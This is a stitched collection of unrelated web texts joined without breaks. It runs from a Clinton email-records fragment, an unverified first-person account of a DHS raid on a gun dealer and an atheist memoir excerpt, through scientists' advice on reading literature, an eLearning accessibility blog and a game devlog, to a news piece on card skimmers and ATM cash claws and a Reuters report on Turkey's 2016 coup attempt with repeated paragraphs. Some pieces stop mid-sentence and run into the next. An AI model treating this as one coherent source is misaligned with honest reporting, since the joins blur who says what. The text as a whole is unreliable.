Hillary Clinton has repeatedly stated that she believes that the 55,000 pages of documents she turned over to the State Department in December 2014 included all of her work-related emails. In response to a court order in other Judicial Watch litigation, she declared under penalty of perjury that she had “directed that all my emails on clintonemail.com in my custody that were or are potentially federal records be provided to the Department of State, and on information and belief, this has been done.” This new email find is also at odds with her official campaign statement suggesting all “work or potentially work-related emails” were provided to the State Department.
###The Department of Homeland Security (DHS) once raided one of our readers: a kitchen table FFL dealer who does everything – everything – by the book. He has, however, consistently criticized the ATF for its unconstitutional regulations and long history of extra-legal activities. This is his story. Update to follow, after he consults with his lawyer...
First of all, forget about them coming to the door. They’ll intercept you on your way home from the doctor’s office (for example), then one vehicle will come up behind you and two will block your way in front and turn on the flashing lights. They then jump out with ‘real’ assault rifles, point them at you and ordering you to put your hands up and exit the vehicle.
You, being a law abiding citizen, will comply. At gunpoint, they order you to assume the position against your car, handcuff and frisk you, and you’re directed to get into the back seat. Then the lead agent gets into the driver seat and drives your car to your driveway. You sit there with cuffed hands behind you – bleeding.
As multiple vehicles close off the street and announce over a loudspeaker that all of your neighbors should remain indoors (they’re prohibited from leaving). The lead agent calls your house and directs your wife to come out – and sit in the front seat. She does. Then the Homeland Security Special Tactical Unit, and the county sheriff SWAT Team arrive, and drive two armored cars over the curb onto the lawn, as the “jackbooted thugs” with machine guns, helmets, boots, camo, etc. enter and search your house.
You see a Homeland Security helicopter circling overhead. You are asked if you have any explosives (well, several cans of black powder….) and if there are any booby traps in the house. They offer to let you read the search warrant, but your hands are cuffed behind your back. The agent in your car reads it very quickly.
After the jackbooted thugs are through, teams arrive to search and ransack the house. After about an hour, you are released and NO CHARGES are filed against you. You are required to stay beyond the perimeter as they set up tables in your yard and begin to paw through and process your worldly possessions.
You finally realize that they’re going to keep an eye on you, but you go to a neighbor’s house to make phone calls and find a good lawyer, who arrives on site, but is kept out by the agents. The agents search one of your cars and release it to you. Hours later, knowing there is nothing you can do on site, you leave and arrange a motel for the night.
Later, about 9PM (12 hours later), you phone your house and an agent answers. He advises you they’re about to leave. You drive to your house to see four feds in your front yard, ready to leave. They tell you they don’t know where the house key is (which you gave them) or where your cat is. They hand you a copy of the search warrant, but fail to provide a copy of the inventory (which they give you two days later).
You examine your house. Your computers are gone along with every extra and old hard drive, all data CDs, floppies, thumb drives, compact flash drives, and other SD drives for your camera. But most shocking, is that your entire gun collection, which you spent a lifetime building, is gone.
Antique guns, airguns, non-guns. Virtually everything. One antique shotgun lies broken on the floor. Papers are strewn everywhere. Once they looked at it, and didn’t want it, they just tossed it aside. Piles of paper. The house is trashed – every room. Your clothing has been ransacked. Your wife’s clothing and underwear. You don’t even know what is missing. You look around, feel sick, lock up the house and go to the motel.
You return the next day to try to start to get things back in order, but realize it will take weeks.
Later, you find out that the affidavit which justified the search warrant is sealed. You can’t even find out why they searched you home and seized your firearms.
A few days later, the sworn affidavit is unsealed and you find out that the agent lied repeatedly, told half-truths, speculated about possible violations, and related his ‘suspicions’ with no basis in fact. That the search warrant is nothing more than a gigantic fishing expedition just to see what they could find...I’ve written a lot of posts about Jerry DeWitt because he’s such a compelling guy: An ex-Pentecostal preacher who is now a graduate of the clergy project, Jerry has become a voice for atheism as well as a strong supporter of non-religious communities (similar to the ones seen in the religious world). His newly-released book Hope after Faith: An Ex-Pastor’s Journey from Belief to Atheism, written with Ethan Brown, documents his journey from hard-core Christian to preaching atheist:
The following is an exclusive excerpt from the book (reprinted with permission of Da Capo Press):
As I immersed myself in Bible study in my mother’s trailer in Rosepine, no one — not even [wife] Kelli — knew that I was undergoing a profound spiritual transformation. I kept my new, life-altering perspectives on faith a secret. I didn’t betray change on the outside because I still saw myself as a Pentecostal culturally, if not a Pentecostal doctrinally. The façade I created was a necessity because the transformation, while deeply painful for me, would have destroyed the image my family and friends held of me. The contrast between my outward appearance — still that of a young Pentecostal preacher eager to grow a ministry of his own — and my internal struggle over my faith was mirrored in the schizoid nature of the struggle itself. On the one hand, my months of Bible study felt like a dark night of the soul — I was totally alone and questioning everything I ever believed. There in my mother’s trailer, I truly understood the cliché that the hardest thing about searching for the truth is that sometimes you find it. On the other hand, I was completely energized and enthralled by my revelations about the Bible. It felt like the library of Alexandria had not been destroyed and I was one of the first people to walk through it and discover its scrolls. I had prayed with the Branhamites and the Goodwinites in search of these spiritual truths. But what made this moment different and more exciting was that I could actually see these truths on paper, sustained by the weight of actual evidence versus being upheld by the power of a particular preacher’s personality. If I came to a historical fact about, say, Paul, I could confirm it through a source outside the Bible, like the Catholic Encyclopedia, and find out that, yes, that’s just the way it happened.
Hope after Faith: An Ex-Pastor’s Journey from Belief to Atheism is now available on Amazon and in bookstores.
If you’d like to win a copy of the book, just tell us what inspired you to become an atheist and leave the hashtag #HopeAfterFaith at the end of the comment. I’ll contact a random winner next week!Few aspects of scientific work may be as crucial—and yet as easy to neglect—as reading the literature. Beginning a new research project or writing a grant application can be good opportunities for extensive literature searches, but carving out time to keep abreast of newly published papers on a regular basis is often challenging. The task is all the more daunting today, with the already vast literature continuing to grow at head-spinning speed.
To help you keep track of the literature and avoid feeling too overwhelmed, Science Careers asked scientists in a diverse range of fields to discuss how they integrate searching for papers, and reading them, into their working routine. Their responses have been edited for brevity and clarity.
Why is it important to keep up with the literature, and what are the challenges?
Without keeping up with the literature, I can't know what other people are doing or contextualize my work. In addition, through reading the literature I can find potential solutions to scientific barriers I am facing in my own research. But I do find it difficult to integrate this task into my daily routine. The demands on scientists in terms of outreach, administration, grant writing, teaching, and more are tremendous, and there are only 24 hours in a day.
- Lynn Kamerlin, associate professor of cell and molecular biology at Uppsala University in Sweden
Staying up to date with the literature is perhaps the single most important skill that remains crucial throughout a researcher’s career. Without knowing where the current gaps are, your findings will either be old hat or too out in left field to be cited right away. But there certainly are challenges. One of them is that reading papers can feel like dead time, because it is such a slow and absorbing process, and there are so many papers out there to digest. Reading can also feel disheartening, as you will often find that other people have already published on what you thought was a really novel or original idea. And so it can all too easily happen that this important task of investing in your knowledge gets prioritized lower than all the other apparently more urgent duties that you have as a scientist.
- Denis Bauer, team leader in transformational bioinformatics at the Commonwealth Scientific and Industrial Research Organisation in Sydney, Australia
Our job is to push the frontier of what is already known, so we need to be aware of where this frontier is. However, trying to stay up to date with the literature is tremendously difficult. As an assistant professor, my job is to not only do research but also to teach, obtain funding, do professional service including peer review, give talks, attend committee meetings, and more. This constant multitasking makes it difficult to carve out time for keeping up with papers. Another challenge lies in the immense amount of new work that constantly gets published. The number of journals and venues is very large, and it continues to grow. This is further aggravated if you work in a field that is multidisciplinary, because then this number is multiplied, becoming barely manageable.
- Belen Masia, assistant professor of computer science at the University of Zaragoza in Spain
It is extremely important to find what you need in the scientific literature, but it’s difficult for anyone to block out the necessary time. For young scientists in particular, there is the additional challenge of trying to stay on top of newly published literature while still building up knowledge of their research areas.
- John Borghi, former librarian and postdoctoral fellow at the California Digital Library in Oakland, California
Keeping up is essential, no doubt about it. To be able to provide novel results, you have to know what has been done before you. Plus, you want to benefit from all the ideas, data, and interpretations that have accumulated in the literature right up to that point. But it’s certainly hard to keep up. Thousands of papers are published daily. Another challenge for me is that my research is multi-faceted, so I need to read in my broader field, which covers a lot of ground.
- Juan Jose Negro, senior staff scientist in evolutionary ecology and conservation biology at the Doñana Biological Station in Seville, Spain
Our function as scientists is to push the envelope and create new knowledge and understanding, so we always need to be as up to date as we can be in our areas. But keeping up with the literature is potentially an overwhelmingly large task, and there are no deadlines attached to it. And so, among all the other things that I have responsibilities for, it often feels hard to prioritize.
- Jehannine C. Austin, associate professor of psychiatry and medical genetics at the University of British Columbia in Vancouver, Canada
To make a contribution to scientific research and effectively teach my students, I need to be very familiar with the current state of knowledge and with what ideas and methods are being used at the frontier of my field. But I find that keeping up with the literature always comes with a trade-off: Do I spend more time on my research projects, or do I read the latest papers?
- Ina Ganguli, assistant professor of economics at the University of Massachusetts in Amherst
How do you find new papers you ought to read, and the time to read them?
To keep on top of my specialty area, I carry out regular, systematic literature searches using a tool called PubCrawler. PubCrawler automatically searches online publication databases using key search terms that I set up, and it sends me a weekly email highlighting all the new and potentially relevant papers, with a link to the abstract or full text. I find out about other recently published papers I ought to read from email alerts I get from the key journals in my area. I also become aware of new publications through colleagues who email me, and from social media. Twitter is an underutilized resource in science, but it’s great—if you follow the right people—for keeping your finger on the pulse of new work that is coming out.
Regarding finding the time, unless I am actively writing a grant or paper, it is harder for me to keep up with the literature, because it’s not an urgent, immediate, deadline-driven need. So I have a set time once a week, on Mondays, to look at the output of my literature searching tools. I sift through it all and then at least skim the papers that I find most relevant. I read journals’ tables of contents when I get them, usually also immediately downloading and at least skimming the papers that I find of most interest. Thorough reading of the full papers may be more sporadic.
- Austin
The tools I use to keep track of new literature are Feedly, which allows me to subscribe to the RSS feeds of relevant journals; a string of PubMed updates, which capture any relevant literature published outside those journals; and Twitter, which helps me identify what literature the broader scientific community is talking about.
I like spending a few minutes every morning skimming recent publications for articles that are especially interesting or relevant to my work. Coupled with a regular block every Friday devoted to more critical reading and lots of note taking, this generally allows me to stay up to date. Whatever routine you decide to set for yourself, I think the key is to find a way to interact with the literature regularly.
- Borghi
I continuously monitor the growing literature using the updates feature in Google Scholar, which recommends a selection of new papers to read based on your own publications. Monitoring the handful of main conferences in my field throughout the year, plus a couple of other relevant venues, also does a good job. Many conferences eventually publish their proceedings, and so whenever the lists of accepted papers get published, I also go through them as soon as I can and look at the papers that seem the most relevant to me. Sometimes, reading the abstract suffices. Other times, if it is closely related to my research, I print it for when I find time to go over it in more detail. Also, I make a point to regularly look at what leading researchers in my field publish and to talk to my peers.
- Masia
To know when relevant papers are published, I rely on alerts that the journals automatically send to highlight new publications that cite papers I found of interest previously. There is also substantial activity on social media, with journals promoting and researchers discussing new articles. Reddit Science's Ask Me Anything, or AMA, forum discussions are a great way to hear about innovative research and talk to the authors directly. Recommender systems such as PubChase can also be great tools to hear about new papers early. However, most recommender systems find papers based on how similar they are to papers you previously read, which inevitably limits your exposure to tangential ideas that may be important to your research. I therefore like going through the tables of contents of my favorite journals.
In terms of how I find time for dealing with the literature, I usually go through email alerts as I get them to quickly become aware of the most important new publications. I also find that tweeting or blogging about one paper a week, or a day, is a good incentive for reading in depth. Twitter is particularly good, as it forces me to condense the paper’s relevant outcomes down to 140 characters, which then promptly triggers my memory as I go through my Twitter feed. Other advantages of Twitter are that it helps me find researchers with similar interests and helps me build a brand.
- Bauer
One way I keep track of new papers being published is by subscribing to emails that include the tables of contents of the top or most widely read journals in my field. In economics there is usually a long publication lag, so I also have to be aware of working papers getting published and new publications being presented at conferences and in seminars. Attending events and talking to others are very important ways to find out about the latest papers. I also follow some blogs written by economists and several economists on Twitter who tend to write about new papers.
To deal with the time pressure, I try to be efficient in how I scan the literature. I find it very useful to at least read through the titles and abstracts of the latest papers published in the journals, and then I decide carefully which papers I should read extensively.
- Ganguli
To keep up with new papers being published, I use a combination of RSS feeds from journals in my field, Google Scholar Updates, the reference manager Papers, and recommendations from senior scientists on Faculty of 1000 or directly from colleagues. Twitter is also becoming increasingly valuable as a tool for spreading exciting research, and I strongly recommend getting networked through social media. The volume of literature out there makes keeping track a collective effort, and it's also good to have a venue for promoting your own work amid the sea of information.
But while I continuously scan what’s coming out, finding the time to read multiple papers in full is more difficult. And so, every few weeks, I try to download as many papers as I can—both newly published papers that are relevant to my work and older papers that I recently became aware of—and read them in chunks as the week progresses. Still, summer is best for reading—I have fewer teaching and administration obligations, so this is when I can really catch up with the literature.
- Kamerlin
How do you go about conducting more extensive background literature searches?
For general background reading in my field, I usually start by looking at new articles that have cited my work, as the likelihood that I am interested in what they have to write about is much higher. Similarly, I look at both recent and past citations to papers I found interesting to find further reading. For more targeted literature searches, Google—both Google Scholar and just the normal search bar—and PubMed are great. If I am moving into a new area, I usually contact colleagues, including people I know through conferences, and ask them if they have recommendation lists for me.
- Kamerlin
I find that, nowadays, searching for past literature is the easy part. Search engines and Google Scholar, together with other tools which allow users to follow citations, do a good job. If discipline-specific conferences or journals exist, I also go through the papers published in them, going at least 5 years back. What I find much more challenging is how to organize the works that I read and knowledge I acquire, and how to search back through them. I first set up a dedicated digital database using existing tools. Mendeley is a well-known example; I myself use JabRef. Then I archive hard copies of most of the papers I read, with the main contributions written on their front page. It is of no use going through a bunch of papers if you are unable to remember what you read in them.
- Masia
For historical searches, I usually start with PubMed, searching terms that make the most sense to me and expanding my scope of those search terms if I get limited results. Once I have a selection of key or index papers for a topic of interest, I pull the relevant papers cited within them. I also find out which papers later cited my index papers, for example by finding them on Google Scholar. Often, through this process, I am able to develop new search terms to use in PubMed, so I may then again start the whole process iteratively.
- Austin
When conducting literature searches, I like to simultaneously look backward and forward: If I find a paper that I think describes a topic particularly well, I look at both the papers it cites and the papers that cite it. Tools like PubMed and Web of Science each have their own strengths and weaknesses but, if I’m trying to gain insight into a topic described in a paper, I typically start by using Google Scholar to look at the papers that reference the one I’m reading.
- Borghi
For broader searches, I have been applying “Ten Simple Rules for Searching and Organizing the Scientific Literature” for several years now with good results, although the technologies have changed slightly over time. Today, I usually start from the article that made me interested in the topic (what I call the seed paper) and read the papers that are cited in the references. For this I use ReadCube, as it helps prioritize papers by the number of citations they have. Then I also try to find a review article on PubMed, which helps me identify other research groups in the field whose work might not have been referred to in the seed paper but is nonetheless important. Finally, I try searches for research articles in PubMed and Google Scholar with very precise keywords and choose new seed papers from there, starting the process all over again. Eventually, this helps me establish connections between different schools of thought.
- Bauer
Does the literature sometimes feel overwhelming? How do you prioritize what to read, and how do you reduce the chance of missing an important paper?
It’s easy to feel overwhelmed with the flow of information. The decision to be made is one of sensitivity versus specificity. I tend to prioritize specificity (whether the papers I find are on target for me) and accept lower sensitivity (I’m not going to find everything that could potentially be relevant). I have drawn a line that makes sense for me based on the principle of diminishing returns. Of course, where exactly to draw this line is likely different for everyone.
Regarding how to make sure nothing crucial escapes my attention, I try to send links to papers that I find to colleagues and students whom I think might be interested in them, given what I know about their work. My hope is that, in turn, they will send things that they come across to me too, and then perhaps I will miss less. I also find that, when I am writing grants and papers and engaging in more thorough systematic literature reviews, I can catch up on things I may have missed.
- Austin
It is important to be exposed to ideas and approaches from other disciplines, but there can be an overwhelming amount of information if we try to read everything that gets published, and sometimes it is difficult to know where to draw the line. I prioritize the papers that are directly related to my own projects, especially when I am writing literature reviews for publications or grant proposals. I also prioritize reading papers from the top journals in my main research areas to keep on top of which topics and methods are at the frontier of knowledge. And then if I have some spare time, I also try to read papers that are a little bit further from my main research topics.
There are certainly some times when you have that “I can’t believe I missed this paper” moment. But usually, if the papers are important enough, you will eventually find out about them through conference presentations, conversations with colleagues, Twitter, blogs, magazines, or other channels. You just hope you don’t have that moment when reading a report from a referee who isn’t happy that you missed an important citation!
- Ganguli
The number of papers out there makes it impossible not to miss important papers, especially when you are working in multiple disciplines. So I prioritize my reading in terms of what is most immediately relevant to what I am working on, and then I fan out from there as time allows.
- Kamerlin
Trying to read too broadly, too deeply, or too quickly is a sure path to information overload. So don’t try to read it all at once! Scientists who are feeling overwhelmed by the flow of information should take a step back and think about what exactly they’re looking for in the literature—and then prioritize the papers directly related to that question. It also helps to realize that, ultimately, a single scientist can’t read everything. A group of scientists navigating different branches of the literature can however cover a lot of ground. Personally, I’ve benefited greatly from collaborators and friends working in fields adjacent to my own pointing me toward things they’ve come across.
- Borghi
Are there any potential pitfalls that you’d like to highlight for young scientists? Do you have any further advice?
Young scientists sometimes tend to neglect the literature. They look at a number of related papers when they start working on their project, but then they fail to keep looking for more papers as their research—and the work of other researchers—progresses. They also rarely go back to the literature they’ve searched and read, even though it remains a great source of inspiration.
- Masia
Talk to librarians! Depending on their area of expertise, they may be able to give you specific advice about accessing important papers or navigating the scientific literature. Even if they don’t have specific subject area knowledge, librarians are an often-untapped source of knowledge about how scholarly information is organized, evaluated, and disseminated.
- Borghi
Remember that we walk on the shoulders of giants. Einstein would be a notable example, and Darwin’s work is still as relevant to evolutionary biologists today as it was in his day. In other words, don’t limit your literature searches to the 21st century.
- Negro
At the early stages of your research career, it's especially important that you take the time each day to get up to speed with the literature. I would recommend trying the different tools available and experimenting with your reading routine until you find what works for you. There are so many great options out there, and people have different tastes in terms of what they are comfortable with. Also, don't be afraid to ask your adviser for literature recommendations. Finally, it’s a good idea to set up a physical or virtual journal club to share papers and discuss ideas with your peers.
- KamerlinMy colleague, Rosemary Capps, CETL Assistant Director, and I briefed a group of faculty on Universal Design several weeks ago. Our particular focus was how third-party eLearning vendors are starting to make their educational web tools more ADA/Section 508 compliant. I thought in this blog post I would share some of what she and I researched and presented regarding a variety of these web tools.
First, it should be stated that while third-party companies are starting to take ADA compliance more seriously, and have made some progress, none of these tools is perfectly accessible to everyone with a disability. But the fact that they are making significant in-roads into e-accessibility is quite promising.
The first tool we talked about is Piazza. Piazza, for those that aren’t familiar with it, is a (completely free) revolutionary forum/discussion board tool whereby students (or instructors for that matter) can ask a question and then receive either a student answer, instructor answer, or instructor-endorsed student answer that everyone else in the class benefits from. This only barely scratches the surface of what it can do, but that is for another post another day. Suffice it to say that it’s a good web tool that can be used in an online, hybrid, or face-to-face course to increase student engagement. Several instructors are trying it out here at UCD and I encourage you to check it out as well.
The downside is that it is a very visual tool, something that would be very hard for someone with visual difficulties to use. However, Piazza has created a “lite” version of its tool that completely strips away all of the visual formatting. Now, someone with limited or no vision can use Piazza in conjunction with a screen reader, and/or someone with motor impairments can navigate the site solely using a keyboard. Individuals with these difficulties can visit http://piazza.com/lite or opt-in for Piazza to always display content in this manner by adjusting their settings. By doing so, they can participate in almost everything for which Piazza allows: posting, answering, navigating, reading, etc. It does look like it may have a bit of trouble with the tagging functionality in Piazza, but still it’s a great example of a company who is working on improving their product for use by all individuals (i.e. universal design).
Another tool that faculty are starting to use is called VoiceThread. They have a lot of videos on their site demonstrating what it is and how to use it, but like Piazza, it’s an innovative web tool that encourages students to participate more actively in discussion. The difference is that it helps to create a discussion around a particular piece of media (text, audio, video, image), whereas Piazza creates discussion around particular questions and topics. It’s free to try up to a certain number of students, but is actually fairly reasonably priced for a year’s subscription at only $99/year for an individual (they also have department licenses available).
Much like Piazza, VoiceThread is a very visual tool. In fact, it’s even more reliant on visuals than Piazza due to its heavy reliance on various forms of media. In order to allow students with visual and certain cognitive disabilities to more easily participate in VoiceThread discussions, the company has created an alternate form of their site called “VoiceThread Universal,” which, like Piazza, completely strips away the visual elements and provides a text experience to enable those with screen readers to more fully participate. You can check out their website for more information on their accessibility efforts, and if you want to see VoiceThread Universal in action, you can visit http://voicethread.com/universal/.
These are but two examples of how the Universal Design movement is helping to shape e-accessibility around the web (for another example, check out Google’s efforts here). Many other companies that develop eLearning web tools are starting to recognize the need and are learning how to better serve the population who rely on assistive devices like screen readers to participate more fully on the Internet. Technology has the potential to significant increase communication and learning opportunities for all individuals, as long as it is used and designed appropriately.Hey again! We’ve got a bunch of cool stuff to show off before we release the next update (soon-ish), so take a look!
First of all: abilities!
We’ve got some pretty looking abilities for each of the aspects. There are about 1-2 different abilities per aspect, and 1 per classpect. So that’s 1-2 aspect powers for every class of that aspect and 1 unique ability for one of each of the 144 different class and aspect combinations.
Down below is the Space aspect’s teleport ability, BLINK!
And this is Space’s crowd control ability, PUSH!
We won’t be showing off all of the abilities just yet (since most aren’t even done :P)
Secondly, we’ve got some nice visual updates!
Coloured lighting means we’ve got glowing mushrooms and fireballs. Should make the dungeons (which have also been reworked) look a bit more appealing.
Speaking of dungeons, we’ve upgraded from transportalizers in the middle of nowhere to actual entrances in the middle of nowhere! These entrances depend on your planet’s biome and have multiple variants.
That’s it! Stick around for the update, coming soon!Credit and debit card skimmers aren’t just for ATMs anymore. According to European anti-fraud experts, innovative skimming devices are turning up on everything from train ticket kiosks to parking meters and a host of other unattended payment terminals.
Recently, at least five countries reported skimming attacks against railway or transport ticket machines, according to the European ATM Security Team (EAST), a not-for-profit organization that collects data on skimming attacks. Two countries reported skimming attacks at parking machines, and three countries had skimming incidents involving point-of-sale terminals. EAST notes that Bluetooth devices increasingly are being used to transit stolen card and PIN data wirelessly.
The organization also is tracking a skimming trend reported by three countries (mainly in Latin America) in which thieves are fabricating fake ATM fascias and placing them over genuine ATMs, like the one pictured below. After entering their PIN, cardholders see an ‘out-of-order’ message. EAST said the fake fascias include working screens so that this type of message can be displayed. The card details are compromised by a skimming device hidden inside the fake fascia, and the PINs are captured via the built-in keypad, which overlays the real keypad underneath.
EAST found that eight countries reported cash-trapping attacks at ATMs, with three of the eight nation’s reporting “significant increases” in this type of attack. The most common method of cash trapping used by crooks continues to involve what’s known as a “cash claw,” a device designed to be inserted into the cash dispense slot on an ATM and pry additional bills from the machine as it opens to dispense cash.
The latest report from EAST continues to emphasize that most card fraud stemming from skimming incidents in Europe is in fact perpetrated outside of Europe, particularly in the United States, the Dominican Republic, Brazil, Mexico, Peru and Thailand.
EAST posits that a big reason for this trend is the broad adoption in Europe for a bank card security standard known as EMV (short for Europay, MasterCard and Visa), more commonly called “chip-and-PIN.” Most European banks have EMV-enabled cards, which include a secret algorithm embedded in a chip that encodes the card data, making it more difficult for fraudsters to clone the cards for use at EMV-compliant terminals. Because chip-and-PIN is not yet widely supported in the United States, skimmer scammers who steal card data from European ATM users tend to ship the stolen card data to buyers or co-conspirators in the United States, where the data is encoded onto fabricated cards and used to pull cash out of U.S. ATMs.
EAST notes that in ten European countries, one or more card issuers have now introduced some form of “geo-blocking,” by which payment cards are blocked for usage outside of designated EMV Chip liability shift areas. The organization found that issuers which have adopted such tactics continue to show a decline in skimming incidents and in skimming related losses.
Update, Mar. 31, 9:27 a.m.: A reader who services ATMs took issue with my description of the way these cash claws typically operate. He offered a different explanation: The claw is pushed into the dispenser by the thief. When a customer requests cash the cash becomes trapped in the claw and is not visible by the customer because its behind the cash shutter/slot. The machine reports a fault with dispensing and is unable to pull the cash back from the dispenser because the claw us trapping it. The thief returns when the victim leaves and forces the shutter open and pulls the claw and cash out. According to the ATM guy, this kind of attack can vary in how its performed. For example the shutter can be forced open first and the claw inserted |
which enables me to get away with only having to manually log calories into my FitBit application. I quite literally have never had an easier time logging data like this until Withings, FitBit, and Nike+ came into my life.Forces loyal to Turkey's government fought on Saturday to crush the last remnants of a military coup attempt which collapsed after crowds answered President Tayyip Erdogan's call to take to the streets and dozens of rebels abandoned their tanks.
Forces loyal to Turkey's government fought on Saturday to crush the last remnants of a military coup attempt which collapsed after crowds answered President Tayyip Erdogan's call to take to the streets and dozens of rebels abandoned their tanks.
More than 160 people were killed, including many civilians, after a faction of the armed forces tried to seize power using tanks and attack helicopters. Some strafed the headquarters of Turkish intelligence and parliament in the capital, Ankara, and others seized a major bridge in Istanbul.
Erdogan accused the coup plotters of trying to kill him and launched a purge of the armed forces, which last used force to stage a successful coup more than 30 years ago.
"They will pay a heavy price for this," said Erdogan, who also saw off mass public protests against his rule three years ago. "This uprising is a gift from God to us because this will be a reason to cleanse our army."
One government minister said some military commanders were still being held hostage by the plotters. But the government declared the situation fully under control, saying 161 people had been killed and 2,839 had been rounded up from foot soldiers to senior officers, including those who had formed "the backbone" of the rebellion.
A successful overthrow of Erdogan, who has ruled the country of about 80 million people since 2003, would have marked one of the biggest shifts in the Middle East in years, transforming a major U.S. ally while war rages on its border.
However, a failed coup attempt could still destabilise a NATO member that lies between the European Union and the chaos of Syria, with Islamic State bombers targeting Turkish cities and the government also at war with Kurdish separatists.
Erdogan, who had been holidaying on the southwest coast when the coup was launched, flew into Istanbul before dawn on Saturday and was shown on television outside Ataturk Airport.
Addressing a crowd of thousands of flag-waving supporters at the airport later, Erdogan said the government remained at the helm, although disturbances continued in Ankara.
Erdogan, a polarising figure whose Islamist-rooted ideology lies at odds with supporters of modern Turkey's secular principles, said the plotters had tried to attack him in the resort town of Marmaris.
"They bombed places I had departed right after I was gone," he said. "They probably thought we were still there."
Erdogan's AK Party has long had strained relations with the military, which has a history of mounting coups to defend secularism although it has not seized power directly since 1980.
Still frame taken from video shows Turkey's President Tayyip Erdogan speaking via a Facetime video connection to address the nation during an attempted coup, in Marmais, Turkey
While loved by his supporters, Erdogan's conservative religious views have also alienated many ordinary Turks who accuse him of authoritarianism. Police used heavy force in 2013 to suppress mass protest demanding more freedom.
SMART PHONE ADDRESS
Policemen stand atop military armored vehicles after troops involved in the coup surrendered on the Bosphorus Bridge in Istanbul, Turkey July 16, 2016. REUTERS/Murad Sezer People pose near a tank after troops involved in the coup surrendered on the Bosphorus Bridge in Istanbul, Turkey July 16, 2016. REUTERS/Murad Sezer A man walks inside the destroyed parliament building in Ankara, July 16, 2016 after an attempted coup Turkey. REUTERS/Stringer Turkish military block access to the Bosphorus bridge, which links the city's European and Asian sides, in Istanbul, Turkey, July 15, 2016. REUTERS/Stringer Turkish soldiers block Istanbul's iconic Bosporus Bridge on Friday (AP Photo/Emrah Gurel) Turkish soldiers are seen on the Asian side of Istanbul, Friday (AP Photo/Emrah Gurel) Turkish military block access to the Bosphorus bridge, which links the city's European and Asian sides, in Istanbul, Turkey, July 15, 2016. REUTERS/Stringer Turkish soldiers block Istanbul's iconic Bosporus Bridge on Friday (AP Photo/Emrah Gurel)
In a night that sometimes verged on the bizarre, Erdogan used social media to speak to the Turkish people - even though he is an avowed enemy of such technology when his opponents use it, frequently targetting Twitter and Facebook.
At one point Erdogan effectively addressed the nation via a video calling service, appearing on the smart phone of a CNN Turk reporter who held it up to a studio camera so that viewers to the network could see him.
He said the "parallel structure" was behind the coup attempt -- his shorthand for followers of Fethullah Gulen, a Muslim cleric whom he has repeatedly accused of trying to foment an uprising in the military, media and judiciary.
Gulen, who lives in self-imposed exile in the United States, once supported Erdogan but became a nemesis. The pro-Gulen Alliance for Shared Values said it condemned any military intervention in domestic politics.
As someone who suffered under multiple military coups during the past five decades, it is especially insulting to be accused of having any link to such an attempt. I categorically deny such accusations," Gulen said in a statement.
U.S. Secretary of State John Kerry said the United States had not received any request to extradite Gulen.
The purge appeared to go beyond the military. Citing a decision by the High Council of Judges and Prosecutors, broadcaster NTV reported that authorities had removed 2,745 judges from duty.
Neighbouring Greece arrested eight men aboard a Turkish military helicopter which landed in the northern city of Alexandroupolis on Saturday, the country's police ministry said, adding that they had requested political asylum.
LAWMAKERS IN HIDING
The coup began with warplanes and helicopters roaring over Ankara and troops moving in to seal off the bridges over the Bosphorus Strait that links Europe and Asia in Istanbul.
Authorities had shut the strait to tanker traffic, shipping agent GAC said.
By the early hours of Saturday, lawmakers were still hiding in shelters inside the parliament building in Ankara, which was being fired on by tanks. Smoke rose up from nearby, Reuters witnesses said. An opposition MP told Reuters parliament was hit three times and that people had been wounded.
A senior Turkish official said later on Saturday attacks on the parliament had "largely stopped".
Read more: President Erdogan urges Turks to take to the streets in support of government
A Turkish military commander also said fighter jets had shot down a helicopter used by the coup plotters over Ankara. State-run Anadolu news agency said 17 police were killed at special forces headquarters there.
Momentum turned against the coup plotters as the night wore on. Crowds defied orders to stay indoors, gathering at major squares in Istanbul and Ankara, waving flags and chanting.
"We have a prime minister, we have a chief of command, we're not going to leave this country to degenerates," shouted one man, as groups of government supporters climbed onto a tank near Ataturk airport.
Erdogan and other officials blamed the attempted coup on followers of Fethullah Gulen, an influential cleric in self-imposed exile in the United States who once supported Erdogan but became a nemesis.
The pro-Gulen Alliance for Shared Values said it condemned any military intervention in domestic politics.
U.S. Secretary of State John Kerry said he phoned the Turkish foreign minister and emphasised "absolute support for Turkey's democratically elected, civilian government and democratic institutions".
Turkey, a NATO member with the second biggest military in the Western alliance, is one of the most important allies of the United States in the fight against the Islamic State militant group, which seized swaths of neighbouring Iraq and Syria.
European Council President Donald Tusk called for a swift return to Turkey's constitutional order, saying tensions there could not be resolved by guns.
"Turkey is a key partner for the European Union. The EU fully supports the democratically elected government, the institutions of the country and the rule of law," Tusk said at regional summit in Mongolia.
FLIGHTS RESUME
Flag carrier Turkish Airways resumed flights on Saturday, Erdogan said. Malaysia Airports, the operator of Sabiha Gokcen International Airport, Istanbul's second airport, said it would continue to process flights in and out of Turkey.
Soldiers took control of TRT state television, which announced a countrywide curfew and martial law. An announcer read a statement on the orders of the pro-coup faction that accused the government of eroding the democratic and secular rule of law. Turkey would be run by a "peace council" that would ensure the safety of the population, the statement said.
TRT went off the air shortly afterwards. It resumed broadcasting in the early hours of Saturday.
Reuters reporters saw a helicopter open fire in Ankara. Anadolu news agency said military helicopters had fired on the headquarters of the intelligence agency.
Turkey is one of the main backers of opponents of Syrian President Bashar al-Assad in that country's civil war, host to 2.7 million Syrian refugees and launchpad last year for the biggest influx of migrants to Europe since World War Two.
Celebratory gunfire erupted in Syria's capital Damascus after the army claimed to have toppled Erdogan. People took to the streets to celebrate there and in other government-held cities.
Turkey has suffered numerous bombings and shootings this year, including an attack two weeks ago by Islamists at Ataturk airport that killed more than 40 people, as well as those staged by Kurdish militants.
After serving as prime minister from 2003, Erdogan was elected president in 2014 with plans to alter the constitution to give the previously ceremonial presidency far greater executive powers.
Turkey has enjoyed an economic boom during his time in office and has dramatically expanded its influence across the region. However, opponents say his rule has become increasingly authoritarian.
His AK Party, with roots in Islamism, has long had a strained relationship with the military and nationalists in a state that was founded on secularist principles after World War One. The military has a history of mounting coups to defend secularism, but has not seized power directly since 1980.
SOCIAL MEDIA CUT OFF
Airports were shut and access to internet social media sites was cut off in the first hours of the coup attempt. Flag carrier Turkish Airways resumed flights on Saturday, Erdogan said.
Malaysia Airports, the operator of Sabiha Gokcen International Airport, Istanbul's second airport, said it would continue to process flights in and out of Turkey.
Soldiers took control of TRT state television, which announced a countrywide curfew and martial law. An announcer read a statement on the orders of the pro-coup faction that accused the government of eroding the democratic and secular rule of law. Turkey would be run by a "peace council" that would ensure the safety of the population, the statement said.
TRT went off the air shortly afterwards. It resumed broadcasting in the early hours of Saturday.
